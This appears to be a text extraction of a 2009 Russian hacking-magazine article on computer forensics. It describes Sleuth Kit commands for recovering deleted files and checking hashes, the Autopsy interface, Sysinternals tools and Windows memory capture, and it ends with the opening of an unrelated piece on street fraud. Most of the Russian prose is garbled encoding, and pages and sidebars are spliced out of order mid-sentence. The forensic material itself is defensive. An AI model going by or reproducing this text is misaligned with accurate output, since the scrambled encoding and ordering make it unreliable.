î÷åðåäüñäåëàåò âñå âîçìîæíîå, ÷òîáû ñêðûòü îò íèõ ñâîèñëåäû (íàïðèìåð, âðåìÿ ïîñëåäíåãî îáðàùåíèÿ êôàéëó î÷åíü ïðîñòî èçìåíèòü, â èòîãå ýòî ìîæåòïîìåøàòü èññëåäîâàíèþ, à ïîëó÷åííûé ðåçóëüòàòíåëüçÿ áóäåò èñïîëüçîâàòü êàê äîêàçàòåëüñòâî).Ïåðâîå âðåìÿ ïîèñê ñëåäîâ ïðîâîäèëñÿ íà«âûêëþ÷åííîì êîìïüþòåðå», ò.å. ñîçäàâàëñÿîáðàç è, èñïîëüçóÿ èíñòðóìåíòàðèé, î êîòîðîìïîéäåò ðå÷ü äàëåå, èññëåäîâàòåëü ïûòàëñÿíàéòè ñëåäû âçëîìà. Òàêîé ìåòîä ïîëó÷èëíàçâàíèå «Dead analysis». Ñåãîäíÿ ñèòóàöèÿíåñêîëüêî äðóãàÿ. Èçâåñòíî, ÷òî íåêîòîðûåñîâðåìåííûå âèðóñû íå îñòàâëÿþò ñëåäîâ íàæåñòêîì äèñêå, ÿðêèé ïðèìåð — ÷åðâü «SQLslammer», êîòîðûé ðàáîòàåò òîëüêî â ÎÇÓ, èçàñå÷ü åãî ìîæíî ëèøü ïî ñåòåâîé àêòèâíîñòè(ïîðò 1434, UDP ïàêåò ~400 áàéò). Åùå îäèíìîìåíò: â íàñòîÿùåå âðåìÿ ïîâñåìåñòíîâíåäðÿþòñÿ êðèïòîãðàôè÷åñêèå ñðåäñòâàçàùèòû (íàïðèìåð â Windows — BitLocker,EFS), è áåç êëþ÷åé, õðàíÿùèõñÿ â ÎÇÓ, ïîëó-÷èòü äîñòóï ê çàùèùåííîé èíôîðìàöèè íåòíèêàêîé âîçìîæíîñòè. Ïîýòîìó ñåãîäíÿ ÷àùåèñïîëüçóåòñÿ àíàëèç íà ðàáî÷åé ñèñòåìå —«Live analysis», êîãäà ñîáèðàåòñÿ ïîëíàÿ èíôà îñåòåâîé àêòèâíîñòè, ïðèëîæåíèÿõ è ïðîöåññàõ.Êàê òû ïîíèìàåøü, åäèíîé ïðîöåäóðû,ïîäõîäÿùåé äëÿ âñåõ ñëó÷àåâ, íå ñóùåñòâóåò,â êàæäîé êîíêðåòíîé ñèòóàöèè ïîäõîä ñóãóáîèíäèâèäóàëüíûé.Äàëåå ïîñìîòðèì, ïðè ïîìîùè êàêèõ èíñòðóìåíòîâè êàê ìîæíî ñîáðàòü è ïðîàíàëèçèðîâàòüäàííûå íà ñêîìïðîìåòèðîâàííîì õîñòå. Âñïèñîê ïåðâîî÷åðåäíûõ èíñòðóìåíòîâ äîëæíûâõîäèòü:• óòèëèòû, ïîçâîëÿþùèå ñîõðàíèòü ïîñåêòîðíóþêîïèþ ðàçäåëîâ äèñêà;• óòèëèòû ñîçäàíèÿ êîíòðîëüíûõ ñóìì è öèôðîâûõïîäïèñåé ôàéëîâ;• ïåðåõâàò÷èêè ñåòåâûõ ïàêåòîâ, óòèëèòû àíàëèçàñåòåâîé àêòèâíîñòè è ñåòåâûõ íàñòðîåêñèñòåìû;• ñðåäñòâà àíàëèçà ñîñòîÿíèÿ ñèñòåìû (ïðîöåññû,áèáëèîòåêè è ò.ï.) çàâèñèìîñòè îò ñèòóàöèè ñîñòàâ ïðèëîæåíèéìîæåò ìåíÿòüñÿ è ïîäáèðàåòñÿ èíäèâèäóàëüíî.Íóæíî îòìåòèòü, ÷òî â íàñòîÿùåå âðåìÿ ñóùåñòâóåòñîâñåì íåìíîãî ñïåöèàëèçèðîâàííûõïðîãðàìì ïðîâåäåíèÿ ðàññëåäîâàíèé. Èç êîììåð÷åñêèõïðîäóêòîâ ïîïóëÿðíû ProDiscoverîò Technology Pathways (www.techpathways.com), EnCase Forensic îò Guidance Software(www.guidancesoftware.com) è The ForensicToolkit (www.accessdata.com/forensictoolkit.html). Íåêîòîðûå ïðîåêòû ïðåäëàãàþò äåìêèîãðàíè÷åííûõ âåðñèé. Íàïðèìåð, ProDiscoverBasic Edition Freeware, êîòîðàÿ äîñòóïíà äëÿçàêà÷êè íà ñàéòå Technology Pathways, íåèìååò ñåòåâûõ ôóíêöèé. Íî, òåì íå ìåíåå,åñòü ðÿä ïðîäóêòîâ, ðàñïðîñòðàíÿåìûõ ïîäXÀÊÅÐ 12 /132/ 09


Freeware-ëèöåíçèåé, âîçìîæíîñòåé êîòîðûõ âïîëíå äîñòàòî÷íî äëÿïðîâåäåíèÿ ïîëíîãî àíàëèçà. Áîëåå òîãî, ñóùåñòâóþò ñïåöèàëèçèðîâàííûåäèñòðèáóòèâû Linux, ãäå âñå íóæíûå óòèëèòû óæå ñîáðàíû èíàñòðîåíû. Íàïðèìåð, DEFT Linux (deftlinux.net), FCCU GNU/LinuxForensic Boot CD (lnx4n6.be), Helix3 (www.e-fense.com/helix) è äðóãèå.Êñòàòè, êîììåð÷åñêèé âàðèàíò Helix3 (www.e-fense.com/helix3pro.php) â ñâîåì ðîäå óíèêàëüíûé äèñòðèáóòèâ, òàê êàê ñîäåðæèò óòèëèòûäëÿ Linux, Windows è Mac OS X.НАБОР SLEUTH KITÑàìîé ïåðâîé è ïîýòîìó èçâåñòíîé óòèëèòîé, íàïèñàííîé äëÿ Unixñèñòåì,ÿâëÿåòñÿ TCT (The Coroner's Toolkit, www.porcupine.org/forensics/tct.html). TCT ðàçðàáîòàí äâóìÿ àâòîðàìè SATAN — DanFarmer è Wietse Venema — è ïðåäñòàâëÿåò ñîáîé íàáîð óòèëèò, ïðèïîìîùè êîòîðûõ ìîæíî ïðîèçâåñòè êàê Dead, òàê è Live àíàëèç Unixñèñòåìû.Íåêîòîðîå âðåìÿ ïðîåêò ïðàêòè÷åñêè íå ðàçâèâàëñÿ, ïîýòîìóâ ñïåöèàëèçèðîâàííûõ äèñòðèáóòèâàõ åãî çàìåíèë The SleuthKit (sleuthkit.org). TSK ðàçðàáîòàí ýêñïåðòîì ïî áåçîïàñíîñòè BrianCarrier è îñíîâàí íà èñõîäíîì êîäå ïðîåêòîâ TCT è TCTUtils. Ñûðöû ñåðüåçíîïåðåïèñàíû, ÷òî ïîçâîëÿåò ñîáðàòü è èñïîëüçîâàòü óòèëèòû âLinux, Mac OS X, Cygwin, FreeBSD, OpenBSD è Solaris. Ïðè ïîìîùè TSKìîæíî ïðîàíàëèçèðîâàòü äàííûå, íàõîäÿùèåñÿ íà ðàçäåëàõ NTFS,FAT, Ext2, Ext3, UFS1 è UFS2, à òàêæå â îáðàçàõ, ñîçäàííûõ êîìàíäàìèdd è dd_rescue.  ñîñòàâ âêëþ÷åíû 24 óòèëèòû, áîëüøèíñòâî èç íèõäëÿ óäîáñòâà ïîëüçîâàòåëÿ ðàçáèòû íà ãðóïïû, è èìÿ íà÷èíàåòñÿ ñîïðåäåëåííîé áóêâû:* File System Layer (íà÷èíàþòñÿ ñ f*) — ðàáîòà ñ ôàéëîâîéñèñòåìîé;* Meta Data Layer (i*) — îïèñûâàåò ôàéë èëè êàòàëîã, ò.å.âñå, ÷òî ìîæíî èçâëå÷ü èç inode;* Data Unit Layer (blk*) — ôàêòè÷åñêîå ñîäåðæàíèå áëîêîâ,êëàñòåðîâ, ôðàãìåíòîâ;* File System Journal (j*) — æóðíàëû ôàéëîâîé ñèñòåìû;* Volume System (mm*) — àíàëèç ðàçäåëîâ, äèñêîâûå óòèëèòû(disk_*).Ïîïðîáóåì íàéòè óäàëåííûé ôàéë. Äëÿ íà÷àëà çàïóñòèì óòèëèòó fls,÷òîáû ïîëó÷èòü èìåíà ôàéëîâ è êàòàëîãîâ, â òîì ÷èñëå è óäàëåííûõ.Óòèëèòà èìååò íåñêîëüêî äîïîëíèòåëüíûõ ïàðàìåòðîâ, èç íèõ ñòîèòîòìåòèòü:-a — âûâîä èìåí ôàéëîâ, íà÷èíàþùèõñÿ ñ òî÷êè (. è ..), èõî÷åíü ëþáÿò èñïîëüçîâàòü âçëîìùèêè äëÿ ìàñêèðîâêè;-d — âûâîä òîëüêî óäàëåííûõ ôàéëîâ;-u — âûâîä òîëüêî íå óäàëåííûõ ôàéëîâ;-l — âûâîä ïîäðîáíîé èíôîðìàöèè î ôàéëå;-r — ðåêóðñèâíûé îáõîä êàòàëîãîâ.# fls -rd /dev/sda1Ïåðâàÿ áóêâà ïîêàçûâàåò òèï ôàéëà, ò.å. r-egular, d-irectory, l-ink, s-ocketèëè íå îïðåäåëåí (?). Çíàê «*» íà âòîðîé ïîçèöèè ïîêàçûâàåò, ÷òîôàéë íå ðàñïðåäåëåí (óäàëåí). Òåïåðü çàïðîñèì áîëüøå èíôîðìàöèè îêîíêðåòíîì inode:# ffind -a /dev/sda1 111/windows/system32/cmd.exe# istat /dev/sda1 111inode: 111Not Allocateduid / gid: 0 / 0mode: rwxr-xr-xsize: 0num of links: 0# fsstat /dev/sda1×òîáû ïðîñìîòðåòü äàííûå, ñîîòâåòñòâóþùèå inode, èñïîëüçóåì icat:# icat /dev/sda1 1234 | lessÏðîåêòû, èñïîëüçóþùèå Sleuth Kitè AutopsyÎòêðûòîñòü êîäà Sleuth Kit è Autopsy ïîçâîëèëà èíòåãðèðîâàòü èõ â äðóãèå ðåøåíèÿ èëè çàäåéñòâîâàòü ïðåäîñòàâëÿåìûå èìè âîçìîæíîñòè. Èíñòðóìåíòïîèñêà Odyssey Digital Forensics Search (basistech.com/digital-forensics/odyssey.html) ñïîñîáåí íàéòè íà æåñòêîì äèñêå ñëîâî, íàïèñàííîåíà ðàçíûõ ÿçûêàõ. Óòèëèòà Nigilant32 (agilerm.net/publications_4.html), îáëàäàþùàÿ ãðàôè÷åñêèì èíòåðôåéñîì, óìååò ñîçäàâàòü ïîëíûé îáðàçðàáîòàþùåé ñèñòåìû Win2k/XP/2k3 (äèñêè, ñîñòîÿíèå ïàìÿòè, ïðîöåññû è ò.ï.) Âîññòàíîâèòü óäàëåííûå ôàéëû î÷åíü ïðîñòî ïðè ïîìîùè PerlñêðèïòàRecoup Directory Contents (davehenk.googlepages.com/recoup.pl) è bash-ñêðèïòà FUNDL — File Undeleter (sfdumper.sf.net/fundl.htm).XÀÊÅÐ 12 /132/ 09 131


SYN\ACKÀìåðèêàíñêîãî Ìèíèñòåðñòâà þñòèöèè (NIJ), ÍàöèîíàëüíûéÈíñòèòóò Ñòàíäàðòîâ è Òåõíîëîãèè (NIST) è òàê äàëåå. NSRL ñîáðàíû â ñïðàâî÷íûé èíôîðìàöèîííûé íàáîð RDS(Reference Data Set, ïîëíûé êîìïëåêò çàíèìàåò 4 CD ïî 300Ìá êàæäûé) ïðîôèëè ðàçëè÷íîãî ÏÎ — õåø-ôóíêöèè (MD5è SHA-1), äàííûå î ôàéëå (ïðîèñõîæäåíèå, èìÿ, ðàçìåð èò.ï.), ÷òî ïîçâîëÿåò îäíîçíà÷íî èäåíòèôèöèðîâàòü ôàéë,äàæå åñëè îí áûë ïåðåèìåíîâàí. Êñòàòè, îäíîé èç îñíîâíûõçàäà÷ ýòîé áèáëèîòåêè ÿâëÿåòñÿ ïîèñê ïðîãðàìì ïðè ðàññëåäîâàíèèïðåñòóïëåíèé, íàïðàâëåííûõ ïðîòèâ èíòåëëåêòóàëüíîéñîáñòâåííîñòè. Óòèëèòà hfind ïðîâåðÿåò çíà÷åíèÿõåø-ôóíêöèè â áàçå äàííûõ, èñïîëüçóÿ äâîè÷íûé àëãîðèòìïîèñêà, ïîýòîìó îíà ðàáîòàåò áûñòðåå, ÷åì øòàòíûé grep, íîâíà÷àëå ñëåäóåò ñîçäàòü èíäåêñíûé ôàéë (êëþ÷ '-i'):# hfind -i nsrl-sha1 /usr/local/hash/nsrl/NSRLFile.txtIndex CreatedСМОТРИМ, ЧТО НАХОДИТСЯ В БЛОКЕINFOinfoСтатью «LiveCD:мощное оружие профи»читай в январскомномере z за <strong>2009</strong> год.Информацию о набореSleuth Kit также можнопочерпнуть из статьи«Свой среди чужих»,опубликованной вноябрьском номере zза <strong>2009</strong> год.HTTP://WWWlinks• RFC3227«Guidelines forEvidence Collectionand Archiving» — ftp.rfc-editor.org/innotes/rfc3227.txt.• Документ, подготовленныйНациональныминститутом юстицииСША (NationalInstitute of Justice)«Forensic Examinationof Digital Evidence:A Guide for LawEnforcement» — www.ncjrs.gov/txtfiles1/nij/199408.txt.132Àíàëîãè÷íî çà âûâîä äàííûõ â êîíêðåòíîì áëîêå îòâå÷àåòóòèëèòà blkcat. Äëÿ ïðèìåðà ïðîñìîòðèì îäèí áëîê èñîõðàíèì íåñêîëüêî áëîêîâ, ïðèíàäëåæàùèõ ôàéëó:# blkcat -h /dev/sda1 111 | less# blkcat 111-120 > output.blk ñôîðìèðîâàííîì îáðàçå àäðåñ áëîêà áóäåò îòëè÷àòüñÿîò èñõîäíîãî, ïîýòîìó âðó÷íóþ íàéòè åãî íåïðîñòî. Íî ýòîè íå òðåáóåòñÿ, ÷òîáû óïðîñèòü ïîèñê, ìîæíî âîñïîëüçîâàòüñÿñïåöèàëüíûì êàëüêóëÿòîðîì — blkcalc. Åùå îäíàïîëåçíàÿ êîìàíäà «blkls /dev/sda1» ïîçâîëèò ïðîñìîòðåòüñîäåðæèìîå áëîêîâ âûáðàííîãî ðàçäåëà äèñêà â óäîáî÷èòàåìîìâèäå. Ïî óìîë÷àíèþ âûâîäÿòñÿ òîëüêî íåðàñïðåäåëåííûåáëîêè äàííûõ (ñîîòâåòñòâóåò êëþ÷ó '-A'). Ñîõðàíèââûâîä blkls â ôàéë, çàòåì ìîæíî èñïîëüçîâàòü óòèëèòûstrings è grep äëÿ ïîèñêà íóæíûõ ôðàãìåíòîâ.# blkls sda1.dd > sda1.blkls# strings -t d sda1.blkls > sda1.strÒåïåðü â sda1.str íàõîäÿòñÿ âñå òåêñòîâûå ñòðîêè èç îáðàçà/ðàçäåëà âìåñòå ñ äàííûìè, óêàçûâàþùèìè íà ñìåùåíèåîòíîñèòåëüíî íà÷àëà áëîêà. Sleuth Kit v1.63 ïîÿâèëàñü óòèëèòà mmls. Ïðèìå÷àòåëüíàîíà òåì, ÷òî âûâîäèò òàáëèöó ðàçäåëîâ è ïîêàçûâàåò, êàêèåñåêòîðà íå èñïîëüçóþòñÿ. Òàêèì îáðàçîì ìîæíî óâèäåòü«ñïðÿòàííûå» äàííûå:# mmls -t dos /dev/sdaÎïèñàíèå óòèëèò ìîæíî ïðîäîëæàòü äîëãî, ëó÷øå îäèí ðàççàïóñòèòü è óâèäåòü ðåçóëüòàò. Íî âñå, î ÷åì ãîâîðèëîñü, ïîçâîëÿåòëèøü ñîáðàòü äàííûå, à èõ àíàëèç öåëèêîì âîçëàãàåòñÿíà ïëå÷è èññëåäîâàòåëÿ. Äëÿ òîãî ÷òîáû íàéòè â íåñêîëüêèõãèãàáàéòàõ èíôîðìàöèè èíñòðóìåíòû âçëîìùèêà,ïîòðåáóåòñÿ íåìàëî âðåìåíè è îïûòà. Çäåñü íà ïîìîùüïðèõîäèò óòèëèòà hfind èç êîìïëåêòà TSK, êîòîðàÿ óìååòðàññ÷èòûâàòü õåø-ôóíêöèè ôàéëîâ è ñðàâíèâàòü ðåçóëüòàòñ çàðàíåå ñîçäàííîé áàçîé. Áàçà ìîæåò ôîðìèðîâàòüñÿêàê ñàìîñòîÿòåëüíî ïðè ïîìîùè md5sum, òàê è íà îñíîâåáèáëèîòåêè NSRL (National Software Reference Library, www.nsrl.nist.gov). Ïðîåêò NSRL ïîääåðæèâàåòñÿ ðÿäîì ñîëèäíûõîðãàíèçàöèé, ñðåäè êîòîðûõ — Íàöèîíàëüíûé Èíñòèòóò ðåçóëüòàòå â òåêóùåì êàòàëîãå ïîÿâèòñÿ NSRLFile.txtsha1.idx.Òåïåðü ìîæíî ïðîáèòü ëþáîé ôàéë ïî áàçå:# md5sum /bin/lsf58860f27dd2673111083670c9445099# hfind /usr/local/hash/nsrl/NSRLFile.txt f58860f27dd2673111083670c9445099f58860f27dd2673111083670c9445099 HashNot FoundÄëÿ ïðèìåðà ñîçäàäèì md5-ñóììó âàæíûõ ñèñòåìíûõôàéëîâ:# md5sum /bin/* /sbin/* /usr/bin/* /usr/bin/*> system.md5Ïðîâåðÿåì ðåçóëüòàò êîìàíäîé «cat system.md5», ãåíåðèðóåìèíäåêñíûé ôàéë:# hfind -i md5sum system.md5Òåïåðü ìîæíî ïåðèîäè÷åñêè ïðîâåðÿòü íàëè÷èå èçìåíåííûõôàéëîâ â êîíòðîëèðóåìûõ êàòàëîãàõ:# md5sum /bin/* > bin.md5# hfind -f bin.md5 system.md53ed2e316bbbdb94cacdf9a7c9d83f213a /bin/bashInvalid Hash ValueÊàê âèäèøü, /bin/bash èçìåíèëñÿ ñî âðåìåíè ñîçäàíèÿáàçû, åãî êîíòðîëüíàÿ ñóììà íå ñîâïàäàåò.È, íàêîíåö, ñêðèïò sorter. Îí óìååò àíàëèçèðîâàòü îáðàç (äëÿýòîãî çàïóñêàåò fls è icat), à òàêæå íàõîäèò è ðàñïîçíàåò ôàéëû(ïðè ïîìîùè file). Åñëè çàäåéñòâîâàíà áàçà NSRL, ñîðòèðîâùèêìîæåò îïðåäåëèòü ñðàçó è õàðàêòåð ôàéëà (îïàñíûé èëèíåò). Îïàñíûå ôàéëû àâòîìàòè÷åñêè çàíîñÿòñÿ â îòäåëüíûéôàéë — alert.txt (åñëè èñïîëüçîâàí ïàðàìåòð '-s', òî áóäåò ñîõðàíåíîè ñîäåðæèìîå ôàéëà). Ñîçäàåì êàòàëîã, êóäà áóäåò ñîõðàíÿòüñÿðåçóëüòàò, è çàïóñêàåì àíàëèç ðàçäåëà èëè dd-îáðàçà:# mkdir data# sorter -d data -f ntfs /dev/sda1Ïî îêîí÷àíèè ðàáîòû â ïîäêàòàëîãå data ïîÿâèòñÿ íåñêîëüêîôàéëîâ ñ ðàñøèðåíèåì txt:XÀÊÅÐ 12 /132/ 09


ИНСТРУМЕНТ ВИЗУАЛИЗАЦИИ SLEUTH KIT —AUTOPSYèõ ïî îòäåëüíîñòè, ëó÷øå çàáðàòü âñå îäíèì ïàêåòîì — Sysinternals Suite.Óòèëèò â ñîñòàâå äîâîëüíî ìíîãî, ÷àñòü èç íèõ çàïóñêàåòñÿ èç êîìàíäíîéñòðîêè, ÷àñòü èìååò GUI. Ïîëíîå îïèñàíèå Sysinternals ìîæíî íàéòè íàñàéòå ïî àäðåñó, óêàçàííîìó âûøå. Îñòàíîâëþñü ëèøü íà íåêîòîðûõ èç íèõ.Òàê, Autoruns ïîçâîëÿåò ïîëó÷èòü èñ÷åðïûâàþùóþ èíôîðìàöèþ ïî âñåìó,÷òî çàãðóæàåòñÿ âìåñòå ñ ñèñòåìîé èëè ïðè âõîäå ïîëüçîâàòåëÿ. Ïðîãðàììûè áèáëèîòåêè îòîáðàæàþòñÿ èìåííî â òîì ïîðÿäêå, â êîòîðîì áóäóòçàïóñêàòüñÿ. Äîïîëíèòåëüíî ïîêàçûâàþòñÿ âñå ðàçäåëû ðååñòðà, êîòîðûåìîãóò áûòü èñïîëüçîâàíû äëÿ àâòîìàòè÷åñêîãî çàïóñêà, â îòäåëüíûõ îêíàõïîêàçûâàþòñÿ äðàéâåðà, DLL, êîäåêè è âñå îñòàëüíîå, ÷òî èìååò êàêîå-ëèáîîòíîøåíèå ê àâòîçàïóñêó. Ðåçóëüòàò ìîæíî ñîõðàíèòü â ôàéë .arn è ñðàâíèòüñ àíàëîãè÷íûì ôàéëîì, ñîçäàííûì ðàíåå èëè ïîëó÷åííûì ñ äðóãîé ïîäîáíîéñèñòåìû. Óòèëèòû PsInfo, PsLogList è ProcessExplorer ïîçâîëÿþò ïîëó-÷èòü ïîëíóþ èíôîðìàöèþ ïî ñèñòåìå è çàïóùåííûì ïðîöåññàì. ÑïèñîêDLL ñ íîìåðàìè èõ âåðñèé, à òàêæå îòêóäà îíè áûëè çàïóùåíû, ñìîòðèìïðè ïîìîùè ListDLLs. Óòèëèòà Handle ïîêàçûâàåò ñïèñîê îòêðûòûõ ôàéëîâñ óêàçàíèåì, êàêèå ïðîöåññû èõ îòêðûëè. Ââåäÿ â êîìàíäíîé ñòðîêå> AccessChk -a *# ls dataarchive.txt documents.txt disk.txt sorter.sumÈìÿ ñîîòâåòñòâóåò êàòåãîðèÿì íàéäåííûõ ôàéëîâ:# cat data/documents.txtDocuments and Settings/All Users/Ãëàâíîå ìåíþ/Ïðîãðàììû/Ñòàíäàðòíûå/desktop.iniISO-8859 text, with CRLF line terminatorsImage: /dev/sda1 Inode: 5805-128-1 sorter.sum íàéäåì îáùèé èòîã ïî ïîèñêó.ВЕБ-ИНТЕРФЕЙС AUTOPSYÓòèëèò â ñîñòàâå Sleuth Kit áîëåå ÷åì ïðåäîñòàòî÷íî, è ýòî âûçûâàåòíåêîòîðûå çàòðóäíåíèÿ íå òîëüêî â èõ èçó÷åíèè, íî è èñïîëüçîâàíèèäàæå ó áûâàëûõ ñïåöîâ. Íî íå áåäà, òàê êàê â äîïîëíåíèå ê TSK áûëñîçäàí èíñòðóìåíò âèçóàëèçàöèè — Autopsy Forensic Browser (www.sleuthkit.org/autopsy), ïîääåðæèâàåìûé òåì æå àâòîðîì. Autopsy äëÿñâîåé ðàáîòû òðåáóåò íàëè÷èÿ TSK è æåëàòåëüíî NSRL. Ïîñëå çàïóñêàâ êîìàíäíîé ñòðîêå êîïèðóåì âûäàííûé URL â âåá-áðàóçåð (http://localhost:9999).Ïåðâûì äåëîì ñëåäóåò ñîçäàòü áàçó äàííûõ dd-îáðàçîâ, ïðåäâàðèòåëüíîâçÿòûõ ñ ðàçëè÷íûõ äèñêîâ è ñèñòåì. Äëÿ ýòîãî íóæíî íàæàòü ññûëêó «NewCase» è çàïîëíèòü íàçâàíèå è îïèñàíèå (ìîæíî óêàçàòü íåñêîëüêî âàðèàíòîâ,÷òîáû óïðîñòèòü ïîèñê). Äàëåå íóæíî äîáàâèòü ñâåäåíèÿ îá óçëå, ñêîòîðîãî ñíÿò îáðàç. Æìåì «Adding a New Host» è çàïîëíÿåì äàííûå — èìÿêîìïüþòåðà, îïèñàíèå, âðåìåííîé ïîÿñ, ïóòü ê áàçàì NSRL. È, íàêîíåö, ÷åðåç«Adding a New Image» ïîäêëþ÷àåì îáðàç — çàäàåì ïóòü ê ôàéëó, òèï (äèñê,ðàçäåë). Ïîñëå ýòîãî ìîæíî âûáðàòü: êîïèðîâàíèå îáðàçà, ïåðåìåùåíèåîáðàçà, ñîçäàíèå ñèìëèíêà.  ñëåäóþùåì îêíå óêàçûâàåì ôàéëîâóþ ñèñòåìóè òî÷êó ìîíòèðîâàíèÿ. Ïî îêîí÷àíèè ìîæíî íà÷èíàòü ðàáîòó. Íàïðèìåð,èçâëå÷ü ñòðîêîâûå äàííûå, îòäåëüíûå áëîêè èëè óäàëåííûå ôàéëû ìîæíî â«Image Details». Çäåñü æå ïîëó÷àåì âñþ íåîáõîäèìóþ èíôîðìàöèþ î äàííûõ,ñîäåðæàùèõñÿ â òåõ èëè èíûõ áëîêàõ (ASCII, Hex, String). Ïðè íåîáõîäèìîñòèäîáàâëÿåì êîììåíòàðèé ê íóæíîìó ó÷àñòêó. Àíàëîãè÷íî ìîæíî âûâåñòèñïèñîê ôàéëîâ, äàííûå î ñîñòîÿíèè inode è ïðî÷óþ èíôîðìàöèþ.Ñòîðîííèìè ðàçðàáîò÷èêàìè ñîçäàíà àëüòåðíàòèâà Autopsy — PTK(ptk.dflabs.com), îáëàäàþùàÿ áîëüøèì óäîáñòâîì â èñïîëüçîâàíèè èðàñøèðåííûìè âîçìîæíîñòÿìè.В МИРЕ ОКОНÓòèëèòû Windows Sysinternals (go.microsoft.com/?linkId=6013253), ñîçäàííûåèçâåñòíûì ïðîãðàììèñòîì Ìàðêîì Ðóññèíîâè÷åì, äîëæíû áûòü îáÿçàòåëüíîâêëþ÷åíû â íàáîð èíñòðóìåíòîâ èññëåäîâàòåëÿ. ×òîáû íå ñêà÷èâàòüóçíàåì îá îáðàùåíèÿõ ïîëüçîâàòåëÿ ê ðååñòðó, ôàéëàì è ñëóæáàì Windows.×òîáû ïîëó÷èòü ïîëíóþ èíôîðìàöèþ î ñîñòîÿíèè ñèñòåìû, ñëåäóåò ñîõðàíèòüâûâîä óòèëèò LogonSessions, PendMoves, PSFile, PsLoggedOn, TCPVcon,TCPView, à òàêæå ñòàíäàðòíûõ — ipconfig, netstat, arp, openfiles, systeminfo.Êðîìå Sysinternals, äîñòóïåí ðÿä äðóãèõ ïîëåçíûõ óòèëèò, ðàñïðîñòðàíÿåìûõïîä Freeware ëèöåíçèåé. Íàïðèìåð, ñîõðàíèòü ñîñòîÿíèå ïàìÿòè âäâîè÷íûé ôàéë ìîæíî ïðè ïîìîùè óòèëèòû MDD (ManTech dd èëè Memorydd, www.mantech.com/msma/MDD.asp), êîòîðàÿ ïîääåðæèâàåò âñå ïîïóëÿðíûåíà ñåãîäíÿ âåðñèè OC Windows: 2k, XP, Vista, 2k3 è 2k8. Ïðîãðàììàðàáîòàåò êàê ñ 32, òàê è ñ 64-áèòíûìè âåðñèÿìè ÎÑ, îíà î÷åíü ïðîñòà âèñïîëüçîâàíèè è ïîçâîëÿåò ñîõðàíèòü äî 4 Ãá â óêàçàííûé ôàéë.> mdd.exe -o sysmem.dmp512886 map operations succeeded (0.98)11269 map operations failedtook 63 seconds to writeMD5 is: 7c21f2533d90cb5bdf110d001498f970Ïîëó÷åííûé ôàéë ôîðìàòà dd ïðîâåðÿåòñÿ çàòåì ïðè ïîìîùè MD5. Ñîáðàííûåäàííûå ìîæíî ïðîàíàëèçèðîâàòü ïðè ïîìîùè ëþáîé óòèëèòû,ðàáîòàþùåé ñ äâîè÷íûìè äàííûìè. Ïîäîáíîé ôóíêöèåé îáëàäàåò èEnCase, íî îí, êàê ìû ïîìíèì, íå áåñïëàòåí. Çàïóñêàòü MDD ñëåäóåò ñïðàâàìè àäìèíèñòðàòîðà. MDD — íå åäèíñòâåííàÿ óòèëèòà ñ ïîäîáíîéôóíêöèîíàëüíîñòüþ, íåìíîãî ïîãóãëèâ, ìîæíî íàéòè åùå ñ äåñÿòîêðåøåíèé, íàïðèìåð, win32dd (win32dd.msuiche.net), PTFinder (computer.forensikblog.de/en/topics/windows/memory_analysis), Volatility Framework(www.volatilesystems.com). Ïîñëåäíÿÿ íàïèñàíà íà Python è ìîæåò áûòüçàïóùåíà íà âñå ïëàòôîðìàõ, íà êîòîðûõ ïîääåðæèâàåòñÿ ýòîò ÿçûê —Linux, xBSD, Windows, Mac OS X. Ïîñëå çàïóñêà Volatility Framework ñîáåðåòäàííûå î ìîäóëÿõ ÿäðà, çàïóùåííûõ ïðîöåññàõ, îòêðûòûõ ñåòåâûõ ñîåäèíåíèÿõè ñîêåòàõ, ôàéëàõ è DLL, èñïîëüçóåìûõ ïðîöåññàìè.Óòèëèòà êîìàíäíîé ñòðîêè Windows Forensic Toolches (www.foolmoon.net/security/wft) ïîçâîëÿåò óïîðÿäî÷èòü è àâòîìàòèçèðîâàòü ïðîöåñññáîðà äàííûõ, à òàêæå âûäà÷ó îò÷åòà.  ñâîåé ðàáîòå WFT èñïîëüçóåòäðóãèå óòèëèòû: ñèñòåìíûå è äîïîëíèòåëüíûå îò Microsoft,Sysinternals, Forensic Acquisition Utilities (www.gmgsystemsinc.com/fau), diamondcs (www.diamondcs.com.au) è òàê äàëåå. Âñå íàñòðîéêèñîõðàíÿþòñÿ â ôàéëå wft.cfg. Óòèëèòà ðàáîòàåò â èíòåðàêòèâíîì ðåæèìå,çàäàâàÿ ïîñëåäîâàòåëüíî ðÿä âîïðîñîâ, íà âûõîäå èññëåäîâàòåëüïîëó÷àåò îò÷åò â âèäå òåêñòîâîãî èëè HTML ôàéëà.  íåçàðåãèñòðèðîâàííîéâåðñèè îòêëþ÷åíû ìíîãèå óäîáñòâà, íàïðèìåð, íå ðàáîòàåòïàðàìåòð '-fetchtools', êîòîðûé ïîçâîëÿåò áûñòðî ñôîðìèðîâàòü ðàáî-÷óþ ñðåäó, àâòîìàòè÷åñêè ñêà÷àâ íóæíûå ôàéëû. Õîòÿ ïðè íàëè÷èèäèñêà Helix âñå íåäîñòàþùèå èíñòðóìåíòû ìîæíî âçÿòü ñ íåãî (ëåæàò âïîäêàòàëîãå IR). zXÀÊÅÐ 12 /132/ 09 133


UNITSЛОЗОВСКИЙ АЛЕКСАНДР LOZOVSKY@GAMELAND.RUPSYCHO:ËÓ× ÑÂÅÒÀ ÍÀ ÒÅÌÍÛÅ ÑÒÎÐÎÍÛ ÔÐÀÓÄÀÌîøåííè÷åñòâî â ðåàëå: òåîðèÿ è ñïîñîáû çàùèòûДовольно затруднительно удивить честного компьютерщика самимпонятием фрауда. Интернетчики целыми днями стараются напаритьдруг друга — IQ-тесты, SMS-перехватчики, неизвестно кудаведущие ссылки, кучи вирусов и вороватых троянов обеспечиваютсвоим авторам более-менее стабильный доход. В реальном миретворится совершенно такая же фигня. Более того, появилась онатам значительно раньше :). Действительно, люди на улицах, в банкахи офисах тоже стараются покрепче нагнуть друг друга.Âотличие от прошлой статьи проманипуляции, сегодня речь пойдет обрутальном кидалове, — тут финансыненасильственным путем перекочевываютиз пункта А (которыймы можем принять за материальную точку,находящуюся в области кошелька легковерноготоварища) в пункт Б (который, соответственно,находится в кошельке ловкача). Предлагаютвоему вниманию такой план нашего повествования— сначала мы ознакомимся состадиями увлекательного процесса уличногоразвода, а затем посмотрим на те слабые местав человеческих душах, на которые стремятсявоздействовать хитрые кидалы. Кстати, менясильно тошнит от перестроечных слов, вроде«кидалы, лохи, лохотрон» (почти так же, как иот политоты :)), поэтому уличных обманщиков всвоем рассказе я представлю злыми пришельцамииз Космоса. В конце концов, они тожестремятся вступить с нами в 